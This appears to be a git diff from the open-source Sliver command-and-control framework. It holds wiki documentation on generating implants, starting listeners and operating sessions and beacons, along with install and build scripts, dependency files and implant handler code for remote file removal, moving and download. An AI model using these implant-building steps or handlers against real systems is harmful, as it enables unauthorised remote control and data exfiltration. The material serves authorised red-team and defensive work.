__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:10:16
[*] Build completed in 00:00:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
#### Beacon Mode
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
[*] Generating new darwin/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:03
[*] Build completed in 00:00:09
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
```
sliver > slivers
sliver > implants
Name OS/Arch Debug Format
==== ======= ===== ======
@@ -83,7 +110,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
@@ -96,7 +123,7 @@ For addition details about each C2 please see:
## Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
```
sliver > mtls
@@ -113,26 +140,101 @@ ID Name Protocol Port
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
### Interacting with Sessions
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
```
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
sliver > use 1
sliver > use 8ff2ce4c
[*] Active sliver PROPER_ANTHONY (1)
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
sliver (PROPER_ANTHONY) > ls
sliver (LONG_DRAMATURGE) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
PROPER_ANTHONY 6.3 MiB
LONG_DRAMATURGE 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
[server] sliver (RELATIVE_ADVERTISEMENT) >
```
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
C:\git
======
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -140,4 +242,13 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+11 -32
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,12 +32,6 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -106,49 +100,34 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+23 -7
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.17.6"
GARBLE_VER="1.17.5"
GO_VER="1.18.3"
GARBLE_VER="1.18.0"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
# --- Linux ---
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-amd64.tar.gz
# --- Linux (amd64) ---
curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
# --- Linux (arm64) ---
curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
# --- Windows ---
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
+35 -41
View File
@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
require (
@@ -13,62 +10,51 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.9
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
golang.org/x/text v0.3.6
golang.zx2c4.com/wireguard v0.0.20200121
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
google.golang.org/grpc v1.37.0
google.golang.org/protobuf v1.26.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
modernc.org/sqlite v1.14.3
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
@@ -81,10 +67,13 @@ require (
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
@@ -98,27 +87,32 @@ require (
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.18 // indirect
modernc.org/ccgo/v3 v3.12.95 // indirect
modernc.org/libc v1.11.104 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.5 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
+726 -64
View File
File diff suppressed because it is too large. Load diff
+19 -19
View File
@@ -1,24 +1,24 @@
module github.com/bishopfox/sliver
go 1.16
go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
golang.zx2c4.com/wireguard/windows v0.5.1
google.golang.org/protobuf v1.23.0
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/windows v0.5.1
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.23.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
)
+2 -2
View File
@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
+11 -7
View File
@@ -37,15 +37,15 @@ const (
)
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
serverStore bool
id string
data []byte
module *memmod.Module
arch string
init string
onFinish func([]byte)
}
// NewWindowsExtension - Load a new windows extension
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
return &WindowsExtension{
id: id,
@@ -55,14 +55,17 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
}
}
// GetID - Get the extension ID
func (w *WindowsExtension) GetID() string {
return w.id
}
// GetArch - Get the extension architecture
func (w *WindowsExtension) GetArch() string {
return w.arch
}
// Load - Load the extension into memory
func (w *WindowsExtension) Load() error {
var err error
if len(w.data) == 0 {
@@ -86,6 +89,7 @@ func (w *WindowsExtension) Load() error {
return nil
}
// Call - Call an extension export
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
var (
argumentsPtr uintptr
+104 -23
View File
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
_, err = os.Stat(target)
if err == nil {
if (target == "/" || target == "C:\\") && !rmReq.Force {
err = errors.New("Cowardly refusing to remove volume root without force")
err = errors.New("cowardly refusing to remove volume root without force")
}
}
@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func mvHandler(data []byte, resp RPCResponse) {
mvReq := &sliverpb.MvReq{}
err := proto.Unmarshal(data, mvReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
move := &sliverpb.Mv{}
err = os.Rename(mvReq.Src, mvReq.Dst)
if err != nil {
move.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(move)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
@@ -255,6 +277,13 @@ func pwdHandler(data []byte, resp RPCResponse) {
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
/*
A flag for whether this is a directory - used if
this download is being looted
*/
var isDir bool
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
@@ -285,8 +314,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
log.Printf("error creating the archive: %v", err)
// {{end}}
rawData = dirData.Bytes()
isDir = true
} else {
rawData, err = ioutil.ReadFile(target)
isDir = false
}
var download *sliverpb.Download
@@ -294,10 +325,12 @@ func downloadHandler(data []byte, resp RPCResponse) {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
Response: &commonpb.Response{},
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
@@ -529,31 +562,30 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
err := proto.Unmarshal(data, reconnectIntervalReq)
func reconfigureHandler(data []byte, resp RPCResponse) {
reconfigReq := &sliverpb.ReconfigureReq{}
err := proto.Unmarshal(data, reconfigReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v\n", err)
// {{end}}
return
}
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
// {{if .Config.Debug}}
